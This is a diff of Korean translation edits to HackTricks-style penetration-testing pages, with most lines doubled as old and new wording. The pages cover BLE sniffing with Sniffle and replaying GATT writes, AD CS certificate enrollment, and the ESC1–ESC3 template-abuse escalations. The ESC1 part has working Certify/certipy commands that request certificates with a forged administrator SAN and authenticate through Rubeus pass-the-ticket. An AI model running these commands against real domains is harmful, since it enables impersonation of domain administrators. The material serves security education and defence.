하드웨어: Sonoff Zigbee 3.0 USB Dongle Plus (CC26x2/CC1352)에 NCC Groups Sniffle firmware를 재플래시한 장치.
하드웨어: Sonoff Zigbee 3.0 USB Dongle Plus (CC26x2/CC1352) — NCC Group의 Sniffle 펌웨어로 재플래시됨.
Install Sniffle and its Wireshark extcap on Linux:
Linux에 Sniffle 및 Wireshark extcap을 설치:
```bash
if [ ! -d /opt/sniffle/Sniffle-1.10.0/python_cli ]; then
echo "[+] - Sniffle not installed! Installing at 1.10.0..."
@ -91,7 +91,7 @@ else
echo "[+] - Sniffle already installed at 1.10.0"
fi
```
Flash Sonoff with Sniffle firmware (직렬 장치가 일치하는지 확인하세요, 예: /dev/ttyUSB0):
Sonoff에 Sniffle firmware를 플래시하세요 (시리얼 장치가 일치하는지 확인하세요, 예: /dev/ttyUSB0):
```bash
pushd /opt/sniffle/
wget https://github.com/nccgroup/Sniffle/releases/download/v1.10.0/sniffle_cc1352p1_cc2652p1_1M.hex
@ -104,13 +104,13 @@ python3 cc2538-bsl.py -p /dev/ttyUSB0 --bootloader-sonoff-usb -ewv ../sniffle_cc
deactivate
popd
```
Sniffle extcap를 통해 Wireshark에서 캡처한 뒤, filtering을 통해 state-changing writes로 빠르게 전환:
Wireshark에서 Sniffle extcap로 캡처하고 필터링하여 상태 변경 쓰기로 빠르게 pivot:
```text
_ws.col.info contains "Sent Write Command"
```
이는 클라이언트의 ATT Write Commands를 강조합니다; handle과 value는 종종 디바이스 동작에 직접 매핑됩니다(예: buzzer/alert characteristic에 0x01을 쓰면 동작, 0x00을 쓰면 정지).
이는 클라이언트로부터의 ATT Write Commands를 강조한다; 핸들(handle)과 값(value)은 종종 장치 동작에 직접 매핑된다(예: buzzer/alert characteristic에 0x01을 쓰면 알림, 0x00을 쓰면 중지).
Sniffle CLI 빠른 예:
Sniffle CLI 빠른 예:
```bash
python3 scanner.py --output scan.pcap
# Only devices with very strong signal
@ -118,18 +118,18 @@ python3 scanner.py --rssi -40
# Filter advertisements containing a string
python3 sniffer.py --string "banana" --output sniff.pcap
```
안 sniffer: Nordics nRF Sniffer for BLE + Wireshark plugin도 작동합니다. 작고 저렴한 Nordic dongles에서는 일반적으로 USB bootloader를 덮어써 sniffer firmware를 로드하므로, 전용 sniffer dongle을 유지하거나 나중에 bootloader를 복원하기 위해 J-Link/JTAG가 필요합니다.
체 sniffer: Nordics nRF Sniffer for BLE + Wireshark plugin도 작동합니다. 작은/저렴한 Nordic dongle에서는 보통 sniffer firmware를 로드하기 위해 USB bootloader를 덮어쓰므로, 전용 sniffer dongle을 따로 보관하거나 나중에 bootloader를 복구하기 위해 J-Link/JTAG이 필요합니다.
### GATT를 통한 활성 제어
### GATT를 통한 능동 제어
스니프한 트래픽에서 writable characteristic handle과 value를 확인한 후, 어떤 central으로 접속하여 동일한 write를 수행합니다:
sniffed traffic에서 writable characteristic handle과 value를 확인했으면, 아무 central로 연결하여 동일한 write를 수행하세요:
- Nordic nRF Connect for Desktop (BLE app) 사용:
- nRF52/nRF52840 dongle를 선택하고, scan 하여 target에 connect 합니다.
- GATT database를 탐색하여 target characteristic을 찾습니다 (종종 친숙한 이름, 예: Alert Level).
- sniffed bytes로 Write를 수행합니다 (예: 01은 trigger, 00은 stop).
- With Nordic nRF Connect for Desktop (BLE app):
- Select the nRF52/nRF52840 dongle, scan and connect to the target.
- Browse the GATT database, locate the target characteristic (often has a friendly name, e.g., Alert Level).
- Perform a Write with the sniffed bytes (e.g., 01 to trigger, 00 to stop).
- Windows에서 Nordic dongle로 Python + blatann을 사용해 자동화:
- Automate on Windows with a Nordic dongle using Python + blatann:
```python
import time
import blatann
@ -169,11 +169,11 @@ peer.disconnect()
peer.wait_for_disconnect()
ble_device.close()
```
### 운영 노트 및 완화
### 운영 노트 및 완화
- 강력한 채널 호핑과 연결 추적을 위해 Linux에서 Sonoff+Sniffle를 선호하세요. 예비용 Nordic sniffer를 준비해 두세요.
- pairing/bonding 없이, 근처의 공격자는 writes를 관찰하고 replay하거나 자신의 writes를 unauthenticated writable characteristics에 전송할 수 있습니다.
- 완화책: pairing/bonding을 요구하고 암호화를 적용하세요; characteristic permissions을 authenticated writes를 요구하도록 설정하세요; unauthenticated writable characteristics를 최소화하세요; Sniffle/nRF Connect로 GATT ACLs를 검증하세요.
- 안정적인 채널 호핑과 연결 추적을 위해 Linux에서 Sonoff+Sniffle 사용을 권장합니다. 예비용 Nordic sniffer를 백업으로 보관하세요.
- pairing/bonding 없이, 근처의 공격자는 writes를 관찰하고 unauthenticated writable characteristics에 대해 자신들의 writes를 replay/craft할 수 있습니다.
- 완화: pairing/bonding 요구 및 암호화 적용; characteristic permissions를 authenticated writes 요구로 설정; unauthenticated writable characteristics 최소화; Sniffle/nRF Connect로 GATT ACLs 검증.
## References

View File

@ -4,104 +4,104 @@
## 소개
### 인증서 구성 요소
### 인증서 구성 요소
- 인증서의 **Subject**는 인증서 소유자를 나타냅니다.
- 인증서의 **Subject**는 소유자를 나타냅니다.
- **Public Key**는 개인 키와 쌍을 이루어 인증서를 정당한 소유자와 연결합니다.
- **Validity Period**는 **NotBefore**와 **NotAfter** 날짜로 정의되며 인증서의 유효 기간을 나타냅니다.
- CA에서 부여하는 고유한 **Serial Number**는 각 인증서를 식별합니다.
- **Issuer**는 인증서를 발급한 CA를 의미합니다.
- **SubjectAlternativeName**은 추가적인 주체 이름을 허용하여 식별 유연성을 높입니다.
- **유효 기간**은 **NotBefore** 및 **NotAfter** 날짜로 정의되며 인증서의 유효 기간을 표시합니다.
- 고유한 **Serial Number**는 Certificate Authority(CA)가 제공하며 각 인증서를 식별합니다.
- **Issuer**는 인증서를 발행한 CA를 가리킵니다.
- **SubjectAlternativeName**은 subject에 대한 추가 이름을 허용하여 식별 유연성을 제공합니다.
- **Basic Constraints**는 인증서가 CA용인지 엔드 엔터티용인지 식별하고 사용 제한을 정의합니다.
- **Extended Key Usages (EKUs)**는 OID를 통해 코드 서명이나 이메일 암호화 같은 인증서의 특정 용도를 구분합니다.
- **Signature Algorithm**은 인증서 서명 방식을 지정합니다.
- **Signature**는 발급자의 개인 키로 만들어져 인증서의 진위를 보장합니다.
- **Extended Key Usages (EKUs)**는 Object Identifiers(OIDs)를 통해 코드 서명이나 이메일 암호화 같은 인증서의 특정 용도를 구분합니다.
- **Signature Algorithm**은 인증서를 서명하는 방법을 지정합니다.
- **Signature**는 발행자의 개인 키로 생성되어 인증서의 진위를 보장합니다.
### 특수 고려사항
### 특별 고려 사항
- **Subject Alternative Names (SANs)**는 단일 인증서를 여러 신원에 적용할 수 있게 하며, 다중 도메인을 가진 서버에 중요합니다. SAN 사양을 변조하여 위장 위험을 초래하지 않도록 발급 과정의 보안이 필수적입니다.
- **Subject Alternative Names (SANs)**는 하나의 인증서를 여러 정체성에 적용할 수 있게 하여, 여러 도메인을 가진 서버에 특히 중요합니다. SAN 규격을 조작해 사칭하는 공격을 방지하려면 안전한 발급 절차가 필수적입니다.
### Active Directory(AD)의 Certificate Authorities (CAs)
AD CS는 AD 포리스트 내에서 지정된 컨테이너들을 통해 CA 인증서를 인식하며, 각 컨테이너는 고유한 역할을 합니다:
AD CS는 지정된 컨테이너를 통해 AD 포리스트에서 CA 인증서를 인식하며, 각 컨테이너는 고유한 역할을 합니다:
- **Certification Authorities** 컨테이너는 신뢰된 루트 CA 인증서를 보관합니다.
- **Enrolment Services** 컨테이너는 Enterprise CAs와 그들의 certificate templates 정보를 포함합니다.
- **NTAuthCertificates** 객체는 AD 인증에 허용된 CA 인증서를 포함합니다.
- **AIA (Authority Information Access)** 컨테이너는 중간 CA 및 cross CA 인증서를 통해 인증서 체인 검증을 지원합니다.
- **Certification Authorities** 컨테이너에는 신뢰된 루트 CA 인증서가 저장됩니다.
- **Enrolment Services** 컨테이너에는 Enterprise CAs 및 해당 인증서 템플릿에 대한 정보가 포함됩니다.
- **NTAuthCertificates** 객체에는 AD 인증에 허용된 CA 인증서가 포함됩니다.
- **AIA (Authority Information Access)** 컨테이너는 중간 CA 및 교차 CA 인증서와 함께 인증서 체인 검증을 돕습니다.
### 인증서 획득: 클라이언트 인증서 요청 흐름
1. 프로세스는 클라이언트가 Enterprise CA를 찾는 것으로 시작합니다.
2. 공개-개인 키 쌍을 생성한 후 CSR이 만들어지며, 여기에는 public key 및 기타 세부 정보가 포함됩니다.
3. CA는 사용 가능한 certificate templates와 CSR을 대조하여 템플릿 권한에 따라 인증서를 발급할지 평가합니다.
4. 승인이 되면 CA는 개인 키로 인증서에 서명하고 이를 클라이언트에 반환합니다.
1. 클라이언트가 Enterprise CA를 찾는 것으로 요청 프로세스가 시작됩니다.
2. 공개-개인 키 쌍을 생성한 후 공개 키와 기타 세부 정보를 포함한 CSR이 작성됩니다.
3. CA는 사용 가능한 인증서 템플릿에 대해 CSR을 평가하고, 템플릿 권한에 따라 인증서를 발급합니다.
4. 승인되면 CA는 자신의 개인 키로 인증서에 서명하여 클라이언트에게 반환합니다.
### Certificate Templates
### 인증서 템플릿
AD 내에서 정의된 이 템플릿들은 인증서 발급 설정과 권한(허용된 EKU, 등록 또는 수정 권한 등)을 규정하며, 인증서 서비스 접근 관리를 위해 중요합니다.
AD 내에서 정의되는 이 템플릿은 인증서 발급 설정과 권한을 규정하며, 허용된 EKU, 등록(enrollment) 또는 수정 권한 등 인증서 서비스 접근 관리를 위해 중요합니다.
## 인증서 등록(Enrollment)
## 인증서 등록
인증서 등록 프로세스는 관리자가 **certificate template을 생성**하고 Enterprise Certificate Authority(CA)가 이를 **published** 함으로써 시작됩니다. 이렇게 되면 템플릿은 클라이언트 등록에 이용 가능해지며, Active Directory 객체의 `certificatetemplates` 필드에 템플릿 이름을 추가하여 달성됩니다.
인증서 등록 프로세스는 관리자가 **인증서 템플릿을 생성**하면 시작되고, 그 템플릿은 Enterprise Certificate Authority(CA)에 의해 **게시**됩니다. 이렇게 하면 템플릿이 클라이언트 등록에 사용 가능해지며, 이는 Active Directory 객체의 `certificatetemplates` 필드에 템플릿 이름을 추가하여 이루어집니다.
클라이언트가 인증서를 요청하려면 **enrollment rights**가 부여되어야 합니다. 이 권한들은 certificate template과 Enterprise CA 자체의 보안 설명자(security descriptor)에 의해 정의됩니다. 요청이 성공하려면 두 위치 모두에 권한이 부여되어야 합니다.
클라이언트가 인증서를 요청하려면 **등록 권한(enrollment rights)** 이 부여되어야 합니다. 이러한 권한은 인증서 템플릿 및 Enterprise CA 자체의 보안 설명자(security descriptor)에 의해 정의됩니다. 요청이 성공하려면 두 위치 모두에 권한이 부여되어야 합니다.
### 템플릿 등록 권한
이 권한들은 ACEs(Access Control Entries)를 통해 지정되며, 다음과 같은 권한들을 포함합니다:
이 권한들은 Access Control Entries(ACEs)를 통해 지정되며, 다음과 같은 권한들을 상세히 기술합니다:
- 특정 GUID와 연관된 **Certificate-Enrollment****Certificate-AutoEnrollment** 권한.
- 모든 확장 권한을 허용하는 **ExtendedRights**.
- 템플릿에 대한 전체 제어를 허용하는 **FullControl/GenericAll**.
- **Certificate-Enrollment****Certificate-AutoEnrollment** 권한(각각 특정 GUID와 연관)
- **ExtendedRights**, 모든 확장 권한을 허용
- **FullControl/GenericAll**, 템플릿에 대한 전체 제어 권한 제공
### Enterprise CA 등록 권한
CA의 권한은 Certificate Authority 관리 콘솔에서 접근 가능한 보안 설명자에 명시됩니다. 일부 설정은 저권한 사용자가 원격으로 접근할 수 있게 허용할 수 있어 보안상 우려가 될 수 있습니다.
CA의 권한은 Certificate Authority 관리 콘솔에서 접근 가능한 보안 설명자에 명시됩니다. 일부 설정은 낮은 권한의 사용자에게 원격 접근을 허용할 수도 있어 보안상 우려가 될 수 있습니다.
### 추가 발급 제어 사항
### 추가 발급 제어
일부 제어는 다음과 같이 적용될 수 있습니다:
다음과 같은 제어가 적용될 수 있습니다:
- **Manager Approval**: 요청을 보류 상태로 두어 certificate manager의 승인을 받을 때까지 대기시킵니다.
- **Enrolment Agents and Authorized Signatures**: CSR에 필요한 서명 수와 필요한 Application Policy OID를 지정합니다.
- **Manager Approval**: 요청을 대기(pending) 상태로 두고 인증서 매니저의 승인이 있을 때까지 보류합니다.
- **Enrolment Agents and Authorized Signatures**: CSR에 필요한 서명 수와 요구되는 Application Policy OID를 지정합니다.
### 인증서 요청 방법
인증서는 다음 방법들로 요청할 수 있습니다:
인증서는 다음을 통해 요청할 수 있습니다:
1. **Windows Client Certificate Enrollment Protocol** (MS-WCCE), DCOM 인터페이스를 통해.
2. **ICertPassage Remote Protocol** (MS-ICPR), named pipes 또는 TCP/IP 통해.
3. Certificate Authority Web Enrollment 역할이 설치된 **certificate enrollment web interface**.
4. **Certificate Enrollment Service** (CES)와 Certificate Enrollment Policy (CEP) 서비스를 함께 이용.
5. 네트워크 장치를 위한 **Network Device Enrollment Service** (NDES), Simple Certificate Enrollment Protocol (SCEP) 사용.
1. **Windows Client Certificate Enrollment Protocol** (MS-WCCE), DCOM 인터페이스 사용.
2. **ICertPassage Remote Protocol** (MS-ICPR), named pipes 또는 TCP/IP 통해.
3. **certificate enrollment web interface**, Certificate Authority Web Enrollment 역할이 설치된 경우.
4. **Certificate Enrollment Service** (CES), Certificate Enrollment Policy (CEP) 서비스와 함께 사용.
5. 네트워크 장치를 위한 **Network Device Enrollment Service** (NDES), Simple Certificate Enrollment Protocol (SCEP) 사용.
Windows 사용자는 또한 GUI(`certmgr.msc` 또는 `certlm.msc`)나 커맨드라인 도구(`certreq.exe` 또는 PowerShell의 `Get-Certificate` 명령)를 통해 인증서를 요청할 수 있습니다.
Windows 사용자는 GUI(`certmgr.msc` 또는 `certlm.msc`)나 커맨드라인 도구(`certreq.exe` 또는 PowerShell의 `Get-Certificate` 명령)를 통해서도 인증서를 요청할 수 있습니다.
```bash
# Example of requesting a certificate using PowerShell
Get-Certificate -Template "User" -CertStoreLocation "cert:\\CurrentUser\\My"
```
## Certificate Authentication
## 인증서 인증
Active Directory (AD)는 주로 **Kerberos****Secure Channel (Schannel)** 프로토콜을 사용하여 인증서 기반 인증을 지원합니다.
Active Directory (AD) supports certificate authentication, primarily utilizing **Kerberos** and **Secure Channel (Schannel)** protocols.
### Kerberos Authentication Process
### Kerberos 인증 프로세스
Kerberos 인증 프로세스에서 사용자의 Ticket Granting Ticket (TGT) 요청은 사용자의 인증서에 있는 **private key**로 서명됩니다. 이 요청은 도메인 컨트롤러에서 인증서의 **validity**, **path**, **revocation status** 등을 포함한 여러 검증을 거칩니다. 또한 인증서가 신뢰할 수 있는 출처에서 왔는지와 발급자의 존재가 **NTAUTH certificate store**에 있는지 확인하는 검증도 수행됩니다. 검증이 성공하면 TGT가 발급됩니다. AD의 **`NTAuthCertificates`** 객체는 다음 위치에서 찾을 수습니다:
Kerberos 인증 프로세스에서 사용자의 Ticket Granting Ticket (TGT) 요청은 사용자의 인증서에 있는 **private key**로 서명다. 이 요청은 도메인 컨트롤러에서 인증서의 **validity**, **path**, **revocation status** 등을 포함한 여러 검증을 거친다. 검증에는 또한 인증서가 신뢰할 수 있는 출처인지 확인하고 발급자가 **NTAUTH certificate store**에 존재하는지도 확인하는 절차가 포함된다. 검증에 성공하면 TGT가 발급된다. AD의 **`NTAuthCertificates`** 객체는 다음 위치에 있다:
```bash
CN=NTAuthCertificates,CN=Public Key Services,CN=Services,CN=Configuration,DC=<domain>,DC=<com>
```
인증서 인증을 위한 신뢰 구축에 중심적이다.
인증서 인증의 신뢰를 구축하는 데 중심적이다.
### Secure Channel (Schannel) 인증
### Secure Channel (Schannel) Authentication
Schannel은 TLS/SSL 연결을 보호하며, 핸드셰이크 동안 클라이언트가 인증서를 제시하고 해당 인증서가 성공적으로 검증되면 액세스를 허가한다. 인증서를 AD 계정에 매핑하는 과정에는 Kerberos의 **S4U2Self** 기능 또는 인증서의 **Subject Alternative Name (SAN)** 등 여러 방법이 포함될 수 있다.
Schannel은 안전한 TLS/SSL 연결을 지원하며, 핸드셰이크 동안 클라이언트가 인증서를 제시하고 해당 인증서가 성공적으로 검증되면 접근이 허용됩니다. 인증서를 AD 계정에 매핑하는 방법에는 Kerberos의 **S4U2Self** 기능이나 인증서의 **Subject Alternative Name (SAN)** 등 여러 방법이 있을 수 있습니다.
### AD Certificate Services 열거
### AD Certificate Services Enumeration
AD의 certificate services는 LDAP 쿼리를 통해 열거할 수 있으며, **Enterprise Certificate Authorities (CAs)** 및 그 구성 정보를 드러낸다. 이는 특권 없이 도메인 인증을 받은 모든 사용자가 접근할 수 있다. **[Certify](https://github.com/GhostPack/Certify)** 및 **[Certipy](https://github.com/ly4k/Certipy)** 같은 도구는 AD CS 환경에서 열거 및 취약점 평가에 사용다.
AD의 인증서 서비스는 LDAP 쿼리를 통해 열거할 수 있으며, **Enterprise Certificate Authorities (CAs)** 및 그 구성 정보를 드러냅니다. 이는 특권 없이 도메인에 인증된 모든 사용자가 접근할 수 있습니다. **[Certify](https://github.com/GhostPack/Certify)** 및 **[Certipy](https://github.com/ly4k/Certipy)** 같은 도구는 AD CS 환경에서 열거 및 취약점 평가에 사용됩니다.
이 도구들을 사용하는 명령은 다음과 같다:
Commands for using these tools include:
```bash
# Enumerate trusted root CA certificates, Enterprise CAs and HTTP enrollment endpoints
# Useful flags: /domain, /path, /hideAdmins, /showAllPermissions, /skipWebServiceChecks

View File

@ -3,7 +3,7 @@
{{#include ../../../banners/hacktricks-training.md}}
**다음 게시물들의 권한 상승 기술 섹션을 요약한 내용입니다:**
**이 문서는 다음 포스트들의 권한 상승 기법 섹션을 요약한 것입니다:**
- [https://specterops.io/wp-content/uploads/sites/3/2022/06/Certified_Pre-Owned.pdf](https://specterops.io/wp-content/uploads/sites/3/2022/06/Certified_Pre-Owned.pdf)
- [https://research.ifcr.dk/certipy-4-0-esc9-esc10-bloodhound-gui-new-authentication-and-request-methods-and-more-7237d88061f7](https://research.ifcr.dk/certipy-4-0-esc9-esc10-bloodhound-gui-new-authentication-and-request-methods-and-more-7237d88061f7)
@ -13,32 +13,32 @@
### 설명
### Misconfigured Certificate Templates - ESC1 설명
### 잘못 구성된 인증서 템플릿 - ESC1 설명
- **Enterprise CA가 저권한 사용자에게 등록 권한(enrolment rights)을 부여함.**
- **관리자 승인이 필요하지 않.**
- **권한 있는 담당자의 서명이 필요하지 않.**
- **인증서 템플릿의 보안 디스크립터가 지나치게 관대하여 저권한 사용자가 등록 권한을 얻을 수 있음.**
- **인증서 템플릿이 인증을 용이하게 하는 EKU를 정의하도록 구성되어 있음:**
- Client Authentication (OID 1.3.6.1.5.5.7.3.2), PKINIT Client Authentication (1.3.6.1.5.2.3.4), Smart Card Logon (OID 1.3.6.1.4.1.311.20.2.2), Any Purpose (OID 2.5.29.37.0) 또는 EKU 없음(SubCA) 같은 Extended Key Usage (EKU) 식별자가 포함될 수 있음.
- **요청자가 Certificate Signing Request (CSR)에 subjectAltName을 포함할 수 있도록 템플릿이 허용함:**
- Active Directory (AD)는 인증서에 subjectAltName (SAN)이 있으면 이를 신원 확인에 우선 사용함. 즉, CSR에서 SAN을 지정하면 도메인 관리자 같은 어떤 사용자로도 위임(impersonate)할 수 있는 인증서를 요청할 수 있다. 요청자가 SAN을 지정할 수 있는지는 인증서 템플릿의 AD 객체에 있는 `mspki-certificate-name-flag` 속성으로 표시된다. 이 속성은 비트마스크이며, `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` 플래그가 있으면 요청자가 SAN을 지정할 수 있다.
- **Enterprise CA가 낮은 권한의 사용자에게 등록(enrolment) 권한을 부여한다.**
- **관리자 승인이 필요하지 않.**
- **권한 있는 담당자의 서명이 필요하지 않.**
- **인증서 템플릿의 Security descriptors가 지나치게 관대하여 낮은 권한의 사용자가 등록 권한을 얻을 수 있다.**
- **인증서 템플릿이 인증을 가능하게 하는 EKU를 정의하도록 구성되어 있다:**
- EKU 식별자 예: Client Authentication (OID 1.3.6.1.5.5.7.3.2), PKINIT Client Authentication (1.3.6.1.5.2.3.4), Smart Card Logon (OID 1.3.6.1.4.1.311.20.2.2), Any Purpose (OID 2.5.29.37.0), 또는 EKU 없음(SubCA) 등이 포함된다.
- **템플릿이 요청자가 Certificate Signing Request (CSR)에 subjectAltName을 포함하는 것을 허용한다:**
- Active Directory (AD)는 인증서에 subjectAltName (SAN)이 있으면 식별 검증을 위해 SAN을 우선시한다. 이는 CSR에 SAN을 지정하면 도메인 관리자와 같은 어떤 사용자로도 가장하여 인증서를 요청할 수 있음을 의미한다. 요청자가 SAN을 지정할 수 있는지는 인증서 템플릿의 AD 객체에 있는 `mspki-certificate-name-flag` 속성으로 표시된다. 이 속성은 비트마스크이며, `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` 플래그가 있으면 요청자가 SAN을 지정할 수 있다.
> [!CAUTION]
> 위 구성은 저권한 사용자가 원하는 아무 SAN으로든 인증서를 요청할 수 있게 하여 Kerberos 또는 SChannel을 통해 어떤 도메인 주체로도 인증할 수 있게 다.
> 위에 설명된 구성은 낮은 권한의 사용자가 임의의 SAN을 가진 인증서를 요청할 수 있게 하여 Kerberos 또는 SChannel을 통해 어떤 도메인 주체로도 인증할 수 있게 만든다.
이 기능은 제품이나 배포 서비스가 HTTPS 또는 호스트 인증서를 즉석에서 생성해야 할 때나 잘못된 이해로 인해 가끔 활성화된다.
이 기능은 제품이나 배포 서비스가 HTTPS 또는 호스트 인증서를 즉석에서 생성하기 위해, 또는 설정에 대한 이해 부족으로 인해 때때로 활성화된다.
이 옵션으로 인증서를 생성하면 경고가 발생하는데, 이미 존재하는 인증서 템플릿(예: `WebServer` 템플릿은 `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT`가 활성화되어 있음)을 복제하여 인증용 OID를 포함하도록 수정하는 경우에는 경고가 발생하지 않는다는 점에 유의하라.
이 옵션으로 인증서를 생성하면 경고가 발생하는 것으로 알려져 있다. 그러나 기존 인증서 템플릿(예: `WebServer` 템플릿—`CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT`가 활성화된)이 복제되어 인증 OID를 포함하도록 수정된 경우에는 경고가 발생하지 않는다.
### Abuse
### 악용
취약한 인증서 템플릿을 **찾으려면** 다음을 실행할 수 있다:
취약한 인증서 템플릿을 찾으려면 다음을 실행할 수 있다:
```bash
Certify.exe find /vulnerable
certipy find -username john@corp.local -password Passw0rd -dc-ip 172.16.126.128
```
이 취약점을 **악용하여 관리자 권한을 사칭하려면** 다음을 실행할 수 있습니다:
이 취약점을 **악용하여 관리자로 가장하려면** 다음을 실행할 수 있다:
```bash
# Impersonate by setting SAN to a target principal (UPN or sAMAccountName)
Certify.exe request /ca:dc.domain.local-DC-CA /template:VulnTemplate /altname:administrator@corp.local
@ -54,14 +54,14 @@ Certify.exe request /ca:dc.domain.local-DC-CA /template:VulnTemplate /altname:ad
certipy req -username john@corp.local -password Passw0rd! -target-ip ca.corp.local -ca 'corp-CA' \
-template 'ESC1' -upn 'administrator@corp.local'
```
그런 다음 생성된 **인증서를 `.pfx` 형식으로 변환**하고 이를 사용해 **Rubeus 또는 certipy로 다시 인증**할 수 있습니다:
그런 다음 생성된 **인증서를 `.pfx`로 변환**하고 이를 사용해 **Rubeus 또는 certipy로 다시 인증**할 수 있습니다:
```bash
Rubeus.exe asktgt /user:localdomain /certificate:localadmin.pfx /password:password123! /ptt
certipy auth -pfx 'administrator.pfx' -username 'administrator' -domain 'corp.local' -dc-ip 172.16.19.100
```
Windows 바이너리 "Certreq.exe" & "Certutil.exe"는 PFX를 생성하는 데 사용할 수 있습니다: https://gist.github.com/b4cktr4ck2/95a9b908e57460d9958e8238f85ef8ee
Windows 바이너리 "Certreq.exe" "Certutil.exe"는 PFX를 생성하는 데 사용할 수 있습니다: https://gist.github.com/b4cktr4ck2/95a9b908e57460d9958e8238f85ef8ee
AD Forest의 구성 스키마 내의 인증서 템플릿을 열거하는 작업(특히 승인이나 서명이 필요하지 않고, Client Authentication 또는 Smart Card Logon EKU를 가지며, `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` 플래그가 활성화된 것)은 다음 LDAP 쿼리를 실행하여 수행할 수 있습니다:
AD Forest의 구성 스키마 내에서 인증서 템플릿을 열거하는 작업은 다음 LDAP 쿼리를 실행하여 수행할 수 있습니다. 특히 승인이나 서명이 필요하지 않고, Client Authentication 또는 Smart Card Logon EKU를 가지며, `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` 플래그가 활성화된 템플릿을 대상으로 합니다:
```
(&(objectclass=pkicertificatetemplate)(!(mspki-enrollmentflag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-rasignature=*)))(|(pkiextendedkeyusage=1.3.6.1.4.1.311.20.2.2)(pkiextendedkeyusage=1.3.6.1.5.5.7.3.2)(pkiextendedkeyusage=1.3.6.1.5.2.3.4)(pkiextendedkeyusage=2.5.29.37.0)(!(pkiextendedkeyusage=*)))(mspkicertificate-name-flag:1.2.840.113556.1.4.804:=1))
```
@ -69,49 +69,47 @@ AD Forest의 구성 스키마 내의 인증서 템플릿을 열거하는 작업(
### 설명
두 번째 남용 시나리오는 첫 번째 경우의 변형입니다:
1. Enterprise CA에 의해 낮은 권한의 사용자에게 등록(enrollment) 권한이 부여된다.
2. 관리자 승인 요구 사항이 비활성화된다.
3. 권한 있는 서명(authorized signatures)에 대한 요구가 생략된다.
4. certificate template에 설정된 과도하게 관대한 security descriptor가 낮은 권한의 사용자에게 인증서 등록 권한을 부여한다.
5. **certificate template가 Any Purpose EKU를 포함하거나 EKU가 없도록 정의되어 있다.**
1. Enterprise CA가 낮은 권한의 사용자에게 등록 권한을 부여합니다.
2. 관리자 승인 요구가 비활성화되어 있습니다.
3. 권한 있는 서명의 필요성이 생략되어 있습니다.
4. 인증서 템플릿에 대한 과도하게 관대한 보안 디스크립터가 낮은 권한의 사용자에게 인증서 등록 권한을 부여합니다.
5. **인증서 템플릿이 Any Purpose EKU를 포함하도록 정의되었거나 EKU가 없습니다.**
**Any Purpose EKU**는 공격자가 클라이언트 인증, 서버 인증, 코드 서명 등과 같은 모든 목적(**any purpose**)으로 인증서를 획득할 수 있도록 허용한다. 이 시나리오를 악용하는 데는 **ESC3에서 사용된 동일한 기법**을 이용할 수 있다.
**Any Purpose EKU**는 공격자가 클라이언트 인증, 서버 인증, 코드 서명 등과 같은 모든 목적으로 인증서를 획득할 수 있도록 허용합니다. ESC3에 사용된 동일한 기법을 이 시나리오를 악용하는 데 사용할 수 있습니다.
**EKU가 없는(no EKUs)** 인증서는 하위 CA 인증서로 동작하며 **어떤 목적**으로든 악용될 수 있고 **새 인증서 서명에도 사용될 수 있다**. 따라서 공격자는 하위 CA 인증서를 이용해 새 인증서에 임의의 EKU나 필드를 지정할 수 있다.
**EKU가 없는 인증서**는 하위 CA 인증서로 동작하며 모든 목적에 대해 악용될 수 있고 **새 인증서 서명에도 사용할 수 있습니다**. 따라서 공격자는 하위 CA 인증서를 이용해 새 인증서에 임의의 EKU나 필드를 지정할 수 있습니다.
다만, 하위 CA가 기본 설정인 **`NTAuthCertificates`** 객체에서 신뢰되지 않는다면 **domain authentication** 용도로 생성된 새 인증서는 작동하지 않는다. 그럼에도 공격자는 여전히 **임의의 EKU를 가진 새 인증서**와 임의의 인증서 값을 생성할 수 있다. 이러한 인증서는 (예: 코드 서명, 서버 인증 등) 다양한 목적에 잠재적으로 **악용**될 수 있으며 SAML, AD FS, 또는 IPSec 같은 네트워크 내 다른 애플리케이션에 중대한 영향을 미칠 수 있다.
단, 하위 CA가 기본 설정인 **`NTAuthCertificates`** 객체에 의해 신뢰되지 않는 경우 도메인 인증을 위해 생성된 새 인증서는 작동하지 않습니다. 그럼에도 불구하고 공격자는 여전히 **임의의 EKU를 가진 새 인증서**와 임의의 인증서 값을 생성할 수 있습니다. 이는 잠재적으로 광범위한 목적(예: 코드 서명, 서버 인증 등)으로 **악용될 수 있으며**, SAML, AD FS 또는 IPSec과 같은 네트워크 내 다른 애플리케이션에 중대한 영향을 미칠 수 있습니다.
AD Forest의 구성 스키마 내에서 이 시나리오와 일치하는 템플릿을 열거하려면 다음 LDAP 쿼리를 실행할 수 있습니다:
AD Forest의 구성 스키마 내에서 이 시나리오와 일치하는 템플릿을 나열하려면, 다음 LDAP 쿼리를 실행할 수 있다:
```
(&(objectclass=pkicertificatetemplate)(!(mspki-enrollmentflag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-rasignature=*)))(|(pkiextendedkeyusage=2.5.29.37.0)(!(pkiextendedkeyusage=*))))
```
## 잘못 구성된 Enrolment Agent Templates - ESC3
## 잘못 구성된 Enrolment Agent 템플릿 - ESC3
### 설명
이 시나리오는 첫 번째 두 번째 시나리오와 유사하지만 **다른 EKU** (Certificate Request Agent)를 **악용**하고 **서로 다른 2개의 템플릿**을 사용합니다(따라서 요구사항 2세트입니다).
이 시나리오는 첫 번째 두 번째 시나리오와 유사하지만 **다른 EKU**(Certificate Request Agent)를 **악용**하고 **서로 다른 2개의 템플릿**을 사용합니다(따라서 요구사항 세트도 2개입니다).
The **Certificate Request Agent EKU** (OID 1.3.6.1.4.1.311.20.2.1), known as **Enrollment Agent** in Microsoft documentation, allows a principal to **enroll** for a **certificate** on **behalf of another user**.
**Certificate Request Agent EKU** (OID 1.3.6.1.4.1.311.20.2.1)는 Microsoft 문서에서 **Enrollment Agent**로 알려져 있으며, 주체가 **다른 사용자를 대신하여** **certificate**에 **enroll**할 수 있도록 합니다.
The **“enrollment agent”** enrolls in such a **template** and uses the resulting **certificate to co-sign a CSR on behalf of the other user**. It then **sends** the **co-signed CSR** to the CA, enrolling in a **template** that **permits “enroll on behalf of”**, and the CA responds with a **certificate belong to the “other” user**.
